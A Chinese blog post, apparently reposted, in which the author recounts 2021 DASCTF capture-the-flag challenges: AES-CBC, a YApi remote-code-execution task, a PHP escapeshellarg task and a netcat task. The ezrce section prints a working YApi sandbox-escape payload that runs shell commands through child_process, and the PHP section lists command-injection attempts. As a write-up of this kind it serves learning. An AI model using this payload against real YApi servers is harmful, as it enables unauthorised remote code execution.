IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> 记2021DASCTF没做出来的那些题 -> 正文阅读

[Python知识库]记2021DASCTF没做出来的那些题


这两天参加了DASCTF,感觉题目质量不错,有挑战性,都是看了大概有点思路,但是实际去做又需要花点功夫的题。所以总结一下这次比赛尝试做但是没做出来的题目

crypto

签到

签到题是一个密码学的AES的题目,加密脚本给出来了

from Crypto.Cipher import AES
import os
def pad(a):
	size = (16-len(a)%16)%16
	a += chr(size)*size
	return a

iv = os.urandom(16)
key = os.urandom(16)
enc = AES.new(key,AES.MODE_CBC,iv)
print(iv.encode('hex'))


for _ in range(2):
	try:
		trick = raw_input("")
		trick = pad(trick.decode('hex'))
		cipher = enc.encrypt(trick)
		if trick == cipher and trick != "" :
			with open("flag.txt") as f:
				print(f.read())
				exit()
		else:
			print(cipher.encode('hex'))
			print("Try again")
	except:
		exit()

加密采用的是AES的一个CBC加密,在【转】AES加密算法原理中介绍了这个加密方式,简单概括为如下流程
在这里插入图片描述题目给了偏移量但是没给密钥,随意输入内容后又会输入密文,估计是要通过爆破的方式爆破出密钥,进而能够使密文和明文的内容相同,才会输出flag,不过很可惜我没看懂这个加密算法,也没找到相应的exp。

web

ezrce(唯一做出来的)

这题是唯一做出来的。启动靶机后出来的是一个yapi界面,直接百度搜索yapi和rce,一查发现最近爆出来的一个yapi的漏洞,可以通过JS脚本直接远程执行命令
YAPI接口管理平台RCE复现-附exp中找到了exp

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls").toString()

显然,exp前面的内容是用来绕过沙箱的,原理我也不是很懂,但是这题似乎也不需要,我们直接修改最后一句的命令,就可以达到远程执行代码的效果。
在这里插入图片描述
命令执行后就是这样的效果了,cat aa.js,没发现什么有用的东西,无意间退回上级目录却发现了flag
在这里插入图片描述
最终的exp就不贴了,稍微懂一点linux就应该知道怎么返回上级目录,查看flag。

cat flag

启动靶机后看到一个PHP文件
在这里插入图片描述解释一下代码,通过get方式传入cmd参数,当cmd参数与“flag”正则匹配时则继续。
而if里的功能则是将cmd与flag作正则匹配,然后将cmd经过escapeshellarg函数处理后传入system,系统执行system里的语句。
我认为这题的关键点在于正则匹配和后面的escapeshellarg绕过。
按照我的理解,这句正则匹配的意思是只要存在“flag”,不论大小写均可通过。而escapeshellarg则是将cmd中的部分字符进行转义,防止命令执行漏洞,但是仍然可以绕过。
但是如何绕过,emmm我是一头雾水,我尝试输入了cmd=“flag||ls”和cmd=“flag&&ls”,都没有用,等我再看看文章,或者等官方的wp吧

misc

红蓝对抗

红蓝对抗
在这里插入图片描述
题目描述如上图
在这里插入图片描述链接效果如图,根据实际测试,大概在一分钟左右会强制断开链接,所以使用手动测试时不可能的,那么就需要编写脚本了。但是我看了python的os.system方法和subprocess库,都是只能fork一个子进程进行输入,再输入的话就另外fork了,这显然不满足题目的需求,我找了好久都没找到方法,我看了一下,可能使用Python代替netcat链接,在python里发送指令可以完成,但是网上的例子都太复杂了,调试的时候都不成功,所以也就不了了之了。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-08-02 10:46:25  更:2021-08-02 10:47:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/25 13:58:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计